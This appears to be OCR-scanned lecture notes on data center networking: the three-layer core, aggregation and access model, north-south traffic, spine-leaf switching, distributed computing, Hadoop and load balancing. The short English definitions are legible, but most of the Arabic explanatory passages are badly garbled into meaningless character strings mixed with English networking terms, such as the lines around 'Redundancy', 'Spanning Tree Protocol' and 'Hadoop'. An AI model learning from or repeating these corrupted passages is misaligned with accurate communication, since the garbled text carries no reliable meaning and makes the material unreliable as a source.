/ Aggregatlon

Core Layer

Core Layer is considered as the back bone of networks, The Core Layer routers move
information on the network as fast as possible.

Core Layer consists of biggest, fastest, and most expensive routers with the highest model
numbers.

Aggregation Layer

The purpose of this layer is to provide boundary definition by implementing access lists and
other filters. Therefore the Distribution Layer defines policy for the network. Distribution Layer
includes layer 3 switches. it ensures that packets are properly routed between subnets and
VLAN:S in the enterprise.
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Access Layer
Access layer switches ensures that packets are delivered to the end devices,
It includes Access Switches which are connected to the end devices (Computers, and Servers).

.Data Center JI 3 v¢.le q)bﬁ\ Traffic Patterns J ;s e 3 e 52 p siins

Id;‘)ﬂijﬂ\

North-South Traffic

“Client-Server Traffic” Layl ale Ul Traffic JI s g 51 1in

Traffic between Data Center and any thing else outside, (Traffic that travels in and out of the
data center).

cade DYl an oda

.SharePoint JI s <Exchange Ji 51 (HTTP/HTTPs JL - k| Traffic JI

PVl oda foo me Joladl 3 dr 5elS oy JeVL e LedsS U1 Network Model Ji O e
lia .Data Center Ji J=I4 Servers Jiy Remote Clients JI ¢ ey GO ! Traffic JI e
Wsi S Sl g 6 @sde W 3 4l Redundancy JI Tae de 5 Network Model Ji
-Spanning Tree Protocol JI Ja& 3 b e &lJ3 5 “Resiliency against any failure”

iiall JSIL ek (S Network Links Ji e 50% J s U5 o ety J 58 55 1 s oS e 805

-

ol
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Calculations in - Jaxs p 525 I (Servers Ji e ol e La (52) Cluster of Servers > > 5,4
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L S B (bl 8 3 (s Archiitecture JI s O Sy

“Spine Switches, and Leaf Switches”

1o 5,Le Spine Jb (Core JI iab La jLzel - Kol Spine Switches J ola
High-Throughput Layer 3 Switch

JJ (Connection Points) JI &,is, éx (et «Access Layer JI e e Leaf JI &b s s J’/L‘i‘ ds

.Spine Switches JI J) Uplinks JI &lé LT |S «Servers

-Spine Switches JI J22s Leaf Switch s 57 Architecture Ji I.is o ey sy

“Every Leaf switch is connected to every Spine switch”

¢lda s Bl SN

Il s paalls p g Mowsl s bl Tyl 2liz =T Server &l oo Jol ) 5 5 Server oY & o ia
.Server JI 4y J 50 I Leaf JI ) J 5 51 (ﬁSpine
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.Distributed Computing Ji L o &S5 alaseiwb Hardware JI Lo 85l
- £ d

§.. Distributed Computing JI ldals

Distributed computing is a model in which components of a software system are shared among
multiple computers to improve efficiency and performance.
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151 501 e 320 eda BLE s Lpday A 4 0555 Nodes J da ..Nodes 5ud 352y
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Distributed Computing
Parallel Computing
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| Memory | | Memory |
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Al e Hadoop JI ) s g=d
JI e 55 01554y & Lew ;& o= Blocks JI o4 .Blocks ) Big Data JI iz p 44 Hadoop JI 516
a1 G s & e a1 (Big Data Ji e.is idles ie L 5 «(Nodes Jl sde 8L 35 .Clusters
Node (T Jf Load JI 144 S5le 5591 &l &les o Data Ji 51 Application JI 5y o) (Nodes JI
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.“Load Balancing” J! 4J53) 4+l =& Computer Cluster [ s;,,:i\ AV asladl f

¢..“Load Balancing” J! lial

4 kel 5 e

load balancing improves the distribution of workloads across multiple computing resources, such
as computers, a computer cluster, network links, central processing units, or disk drives. Load
balancing aims to optimize resource use, maximize throughput, minimize response time, and
avoid overload of any single resource.
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